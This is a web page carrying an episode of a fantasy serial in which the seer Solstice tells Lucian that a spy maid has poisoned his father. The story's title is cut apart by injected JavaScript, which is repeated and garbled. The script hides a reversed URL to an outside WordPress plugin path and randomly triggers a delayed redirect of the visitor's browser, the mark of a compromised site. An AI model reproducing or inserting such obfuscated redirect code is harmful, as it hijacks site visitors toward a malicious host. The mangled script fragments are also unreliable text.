Thon 18: Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Part X

(By popular demand – the truth it is!)

“Lucian, your father will die before you arrive home.” Her gaze has become a deep brown once more, the vision over. Her breathing has steadied, but she still looks pale.

“No. He cannot.” He whirls to look at her. “No, you said to hurry. He must live until I return home.”

“He will not. Someone has poisoned him.”

“What?!” Lucian goes utterly still. His features flush, anger turning his blue gaze dark. “Who.” There is a deadly, frightening calm in his voice.

“A maid in your father’s household. She is a spy for your enemy, Ryall.” Solstice gets to her feet. She is slightly shaky, but she remains upright.

“Nara. Tell me it is not Nara, that sweet, innocent child.” A sadness flits through the anger on his features.

“No. It is not Nara. It is an older woman, someone who has been with the household only a few weeks.” Solstice exhales slowly.

“I – there was a woman who came to us about three months ago. She had been beaten and was in need.” Lucian frowns. “It was all for show?”

“Not entirely.” Solstice sets a hand upon his arm. “She had no choice. You will find she will have taken her own life as well.”

“How dare he do this to innocents.” Lucian makes a sound in the back of his throat, beginning to pace the length of the captain’s chamber.

“He is what he is, Lucian. Nothing more.” Solstice moves to sit upon a nearby chair.

“So, he has had my father murdered.” Lucian looks bleak. “My father fought his illness so hard, only to be killed by his enemy.” He shakes his head slowly. “Actually, my father would prefer that. He hated he was so ill for so long.” He looks to her. “Come, I think you could use some fresh air.” He offers his arm.

“Aye, that I could. Thank you.” Solstice moves with him, back to the deck of the ship. He leads her toward Nicholas, who was taking in the view of the sea.

“I must see Jarrod. Thank you, Lady Solstice.” Lucian takes her hand, lifting it to his lips. He brushes a kiss to the back, then moves away, bounding up to the bridge of the ship.

“A rare man.” Nicholas’s voice draws Solstice’s attention from Lucian. She looks to him.

“Oh? What do you know of him? Have you become a seer?” She smiles at him, amusement in her dark eyes.

“No. I have been talking to his adviser, Jarrod.” Nicholas nods toward the man now deep in discussion with Lucian.

“What did you learn?” Solstice looks at him curiously.

“Some very surprising things. Facts which directly contradict what I have always been told about those from Eyanea.” Nicholas looks thoughtful.

“So, what will you do now? Will you join their cause, Nicholas? Or will you find somewhere else to go, once we land?”